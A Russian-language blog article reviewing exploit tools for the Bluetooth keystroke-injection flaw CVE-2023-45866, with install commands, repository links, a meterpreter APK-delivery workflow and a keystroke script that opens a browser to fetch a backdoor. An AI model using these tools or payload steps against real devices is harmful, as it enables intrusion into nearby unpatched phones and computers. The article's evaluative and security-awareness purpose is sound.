
Введение
Приветствуем дорогих читателей! Продолжаем рубрику посвящённую разбору различных инструментов, атак и уязвимостей на беспроводные технологии. Данную статью мы посвящаем уязвимости в Bluetooth CVE-2023-45866, которая была нами затронута в одной из предыдущих статей. Рассмотрим некоторые инструменты которые успели создать под эксплуатацию данной уязвимости.
Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и предоставлены только для ознакомления и изучения механизмов используемых технологий.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Что за уязвимость?
Критическая уязвимость в Bluetooth (CVE-2023-45866, CVE-2024-21306), позволяющая злоумышленнику вводить нажатия клавиш без подтверждения пользователя, автоматически принимая любые запросы на сопряжение. Эта уязвимость затрагивает операционные системы Android, Linux, macOS, iOS и Windows, представляя серьезную угрозу для пользователей различных платформ.
Злоумышленник, находящийся поблизости, не может автоматически получить MAC-адрес Bluetooth устройств на Android — это возможно только если устройство находится в режиме обнаружения. Однако если атакующий уже знает MAC-адрес, а устройство не защищено обновлениями, безопаснее всего отключить Bluetooth.
Уязвимые устройства:
Android 4.2, 5, 6, 7, 8, 9, 10 (исправление недоступно)
Android 11, 12, 13, 14 (возможна уязвимость без патча безопасности от 05.12.2023)
Linux (доступен патч для BlueZ)
macOS 12, 13 (исправление недоступно)
macOS 14 (устранено в версии 14.2)
iOS 16 (исправления нет)
iOS 17 (устранено в версии 17.2)
Windows 10, 11, Server 2022 (исправлено январским патчем 2024 года
blueXploit
Что это?
BlueXploit — это эксплойт, разработанный для эксплуатации критических уязвимостей в протоколе Bluetooth. Он позволяет внедрять нажатия клавиш без необходимости сопряжения устройств, открывая путь для более сложных атак.
Установка и разбор
Для установки необходимо предварительно установить все зависимости для корректной работы инструмента:
sudo apt-get update && sudo apt-get -y upgrade
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev git gcc python3-pip python3-setuptools python3-pydbus apktool metasploit-framework keytool openjdk-23-jdk
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Теперь клонируем репозиторий и на этом этап установки будет завершён:
git clone https://github.com/Danyw24/blueXploit
cd blueXploit
Перейдём наконец к самому инструменту! На самом деле инструмент является гибридом инструмента hi_my_name_is_keyboard, который мы в том числе затронем в этой статье, и APKPwn, функционал которого в теории довольно полезен при атаке по рассматриваемой уязвимости.
APKPwn
APKPwn - это инструмент повышения осведомленности о кибербезопасности, предназначенный для генерации зараженных APK с помощью meterpreter.
Работу инструмента можно наблюдать на скриншоте:

В формате вопросов пользователю, инструмент создает нужную полезную нагрузку на android и размещает файл на порту 8000, что тут же приводит к его скачиванию.
Реализация APKwn в BlueXploit
По инструкции разработчика мы должны будем сначала запустить apkpwn_injector, его модифицированную версию APKpwn, который только спрашивает имя файла. После создания полезной нагрузки, apkpwn_injector также размещает файл на порту 80.

При запуске мы задались вполне логичным вопросом: “А куда же вписывать хост и порт?”. За ответом на этот вопрос мы открыли исходный код и поняли что эти параметры нужно вписывать вручную в самом коде.


Что уже наводит сомнения на проработанность данного инструмента. В особенности, когда с гораздо большим успехом можно было использовать оригинальный скрипт APKwn без изменений.
Если говорить про сам blueXploit, то параметры запуска в нём те же, что в BluetoothDucky и hi_my_name_is_keyboard:
python3 blueXploit.py -i интерфейс -t MAC-адрес
Только вот проблема в том, что скрипт этот не рабочий, хоть и основан на рабочем скрипте.

При удачной попытке эксплуатации скрипт просто вылетает и ничего дальше не делает. Хоть и по инструкции разработчика должен был запустить примерно такой сценарий:
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
То есть должен был открывать браузер, вписывать адрес на котором лежит Backdoor и скачать.
В общем скрипт совсем не справился со своей задачей и более того, в последующем мы сами немного переделали код так, чтобы он выполнял этот сценарий, что будет отображено в статье далее. Скрипт совсем сырой и даже нет папок для корректной работы, которые прописаны в самом же скрипте. И последнее что хотелось бы отметить, это сомнительную задумку конкретно с устройствами Android, но это мы более подробно объясним при разборе оригинального инструмента hi_my_name_is_keyboard.
Hi, My Name is Keyboard
Что это?
Данный репозиторий включает экспериментальные скрипты, демонстрирующие эксплуатацию уязвимостей:
CVE-2023-45866 (критическая уязвимость в Bluetooth).
CVE-2024-21306 (другая связанная уязвимость).
CVE-2024-0230 (дополнительный вектор атаки).
Установка и использование
По установке скрипты идентичны прошлому, в этом плане ничего не меняется:
sudo apt-get update
sudo apt-get -y upgrade
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
git clone https://github.com/marcnewlin/hi_my_name_is_keyboard
cd hi_my_name_is_keyboard/
В рамках статьи мы будем тестировать скрипт на Android, а конкретно keystroke-injection-android-linux.py. Запуск происходит по тем же параметрам:
python3 keystroke-injection-android-linux.py -i интерфейс -t MAC-адрес

Как можем наблюдать по логам, скрипт сработал сразу и корректно. По-умолчанию скрипт просто зажимает клавишу TAB, но если мы начнём поиски в исходниках, то найдём интересный файл hid.py, в которой уже вписан “алфавит” для наших скриптов.

Теперь если заглянем в сам скрипт, найдём нужный цикл который как раз и запускает сами инструкции для ввода:

Определив, что это происходит при вызове функции с параметром нужной клавиши client.send_keypress(Key.Tab), мы смогли сложить два и два, написав функцию для ввода нужного адреса в браузере и последующим нажатием Enter:

И меняем строчки в цикле:

Таким образом в этом скрипте можно менять команды ввода как вздумается. Скрипт работает во многом быстрее и корректней того же BluetoothDucky. В данном репозитории содержатся скрипты как для Android, так и для Windows, IOS и macOS. В рамках статьи мы продемонстрировали как пример на Android, более подробно со всеми скриптами можно ознакомится на странице GitHub.
Заключение
Автоматизация внедрения облачной полезной нагрузки средствами CVE-2023-45866 очевидная мысль которая тут же приходит на ум пентестерам. Но к сожалению на практике устройств Android таким образом можно только скачать полезную нагрузку, но не установить её. Поэтому задумка сама по себе неплохая, но заведомо провальная. Подобным образом можно более эффективно работать с Windows, более богатую систему на hot key. Если мы не правы и вам удалось не только загрузить полезную нагрузку, но и установить её при помощи этой уязвимости, мы будем рады видеть опровержение наших слов в комментариях.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер